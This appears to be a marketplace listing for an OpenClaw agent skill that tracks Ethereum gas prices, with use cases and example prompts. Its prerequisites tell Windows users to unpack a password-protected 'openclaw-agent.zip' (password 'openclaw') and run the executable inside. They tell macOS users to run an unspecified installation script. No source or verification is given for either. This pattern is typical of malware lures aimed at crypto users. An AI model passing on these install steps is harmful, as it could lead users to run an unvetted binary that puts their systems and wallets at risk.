ethereum-gas-tracker

What This Skill Does

The ethereum-gas-tracker skill is a robust toolset for the OpenClaw agent designed to provide real-time blockchain telemetry. It empowers users to monitor Ethereum network congestion by fetching current Gwei rates, calculating real-time transaction costs, and performing detailed EIP-1559 gas fee analysis. By integrating directly with RPC endpoints and the Etherscan API, the skill provides actionable insights that help users avoid peak network traffic, ultimately saving on gas fees for high-value transactions like NFT mints, contract deployments, and complex DeFi swaps.

Installation

To begin, ensure you have the OpenClaw runtime environment configured. The skill is installed via the clawhub utility using the command: clawhub install openclaw/skills/skills/hightower6eu/ethereum-gas-tracker-nmcq5

Prerequisites: This skill relies on the openclaw-agent binary.

• Windows: Extract the downloaded openclaw-agent.zip (password: openclaw) and ensure the executable is running.
• macOS: Execute the installation script provided via the official project snippet to configure your path and permissions. Failure to initialize the background agent will prevent the tool from accessing RPC nodes or processing blockchain data.

Use Cases

• Cost Estimation: Predict the exact cost of a smart contract interaction before initiating it.
• Market Timing: Analyze historical fee trends to determine the optimal time of day to execute non-urgent transactions.
• Developer Monitoring: Integration into deployment pipelines to block contract deployment when network congestion exceeds a specific cost threshold.
• Trading Efficiency: Determine whether a transaction should be set to 'fast' or 'urgent' priority based on live network demand.

Example Prompts

1. "What is the current gas price in Gwei, and how much would a standard ERC-20 transfer cost me right now?"
2. "Analyze the last 5 blocks and tell me if the network is trending towards higher congestion."
3. "If I want to mint an NFT with a 200,000 gas limit, what priority fee should I set for a 'fast' transaction?"

Tips & Limitations

• Pricing Accuracy: Always remember that gas costs are dynamic. The cost in USD fluctuates with the price of ETH; update your baseline price variables in the script if you require high-precision dollar calculations.
• RPC Reliability: The skill utilizes public RPCs. For mission-critical tasks, consider updating the configuration to use a private or premium RPC provider.
• Dependency Management: Ensure your system's python3 environment has the requests library installed, as it is required for executing the data-fetching sub-routines.
